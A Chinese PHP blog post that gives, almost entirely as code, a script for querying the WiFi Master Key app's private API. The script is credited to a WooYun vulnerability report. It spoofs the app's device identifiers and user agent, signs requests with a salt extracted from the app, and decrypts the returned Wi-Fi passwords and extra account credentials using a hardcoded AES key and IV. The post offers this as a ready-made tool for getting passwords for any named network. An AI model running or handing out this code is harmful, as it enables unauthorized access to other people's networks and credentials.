WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
如何从一个php文件向另一个地址post数据,不用表单和隐藏的变量的
Mar 06 PHP
完美解决dedecms中的[html][/html]和[code][/code]问题
Mar 20 PHP
用windows下编译过的eAccelerator for PHP 5.1.6实现php加速的使用方法
Sep 30 PHP
PHP 文件系统详解
Sep 13 PHP
Codeigniter中禁止A Database Error Occurred错误提示的方法
Jun 12 PHP
php 使用file_get_contents读取大文件的方法
Nov 13 PHP
php实现约瑟夫问题的方法小结
Mar 23 PHP
老生常谈php 正则中的i,m,s,x,e分别表示什么
Mar 02 PHP
Laravel 实现密码重置功能
Feb 23 PHP
PHP根据key删除数组中指定的元素
Feb 28 PHP
Thinkphp集成抖音SDK的实现方法
Apr 28 PHP
让你的PHP,APACHE,NGINX支持大文件上传
Mar 09 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
Banner程序
2006/10/09 PHP
php 特殊字符处理函数
2008/09/05 PHP
php表单敏感字符过滤类
2014/12/08 PHP
php实现约瑟夫问题的方法小结
2015/03/23 PHP
JavaScript 大数据相加的问题
2011/08/03 Javascript
jQuery学习笔记 操作jQuery对象 CSS处理
2012/09/19 Javascript
PHP abstract与interface之间的区别
2013/11/11 Javascript
js实现俄罗斯方块小游戏分享
2014/01/31 Javascript
jQuery中对未来的元素绑定事件用bind、live or on
2014/04/17 Javascript
JsRender实用入门教程
2014/10/31 Javascript
JS实现文档加载完成后执行代码
2015/07/09 Javascript
javascript中setTimeout使用指南
2015/07/26 Javascript
JS实现的5级联动Select下拉选择框实例
2015/08/17 Javascript
js淡入淡出焦点图幻灯片效果代码分享
2015/09/08 Javascript
微信小程序scroll-view组件实现滚动动画
2018/01/31 Javascript
Vue的土著指令和自定义指令实例详解
2018/02/04 Javascript
Vue中props的使用详解
2018/06/15 Javascript
详解Vue基于vue-quill-editor富文本编辑器使用心得
2019/01/03 Javascript
jQuery实现为table表格动态添加或删除tr功能示例
2019/02/19 jQuery
nodejs中实现用户注册路由功能
2019/05/20 NodeJs
node.js开发辅助工具nodemon安装与配置详解
2020/02/06 Javascript
Javascript var变量删除原理及实现
2020/08/26 Javascript
Python+OpenCV目标跟踪实现基本的运动检测
2018/07/10 Python
把JSON数据格式转换为Python的类对象方法详解(两种方法)
2019/06/04 Python
python 杀死自身进程的实现方法
2019/07/01 Python
Python解析命令行读取参数之argparse模块
2019/07/26 Python
Python利用Scrapy框架爬取豆瓣电影示例
2020/01/17 Python
Pyecharts地图显示不完成问题解决方案
2020/05/11 Python
html5通过canvas实现刮刮卡效果示例分享
2014/01/27 HTML / CSS
Nike西班牙官方网站:Nike.com (ES)
2017/10/30 全球购物
实习自我鉴定范文
2013/10/30 职场文书
应届毕业生求职自荐书
2014/01/03 职场文书
创业计划书如何编写
2014/02/06 职场文书
召开会议通知范文
2015/04/15 职场文书
php中pcntl_fork详解
2021/04/01 PHP
游戏《我的世界》澄清Xbox版暂无计划加入光追
2022/04/03 其他游戏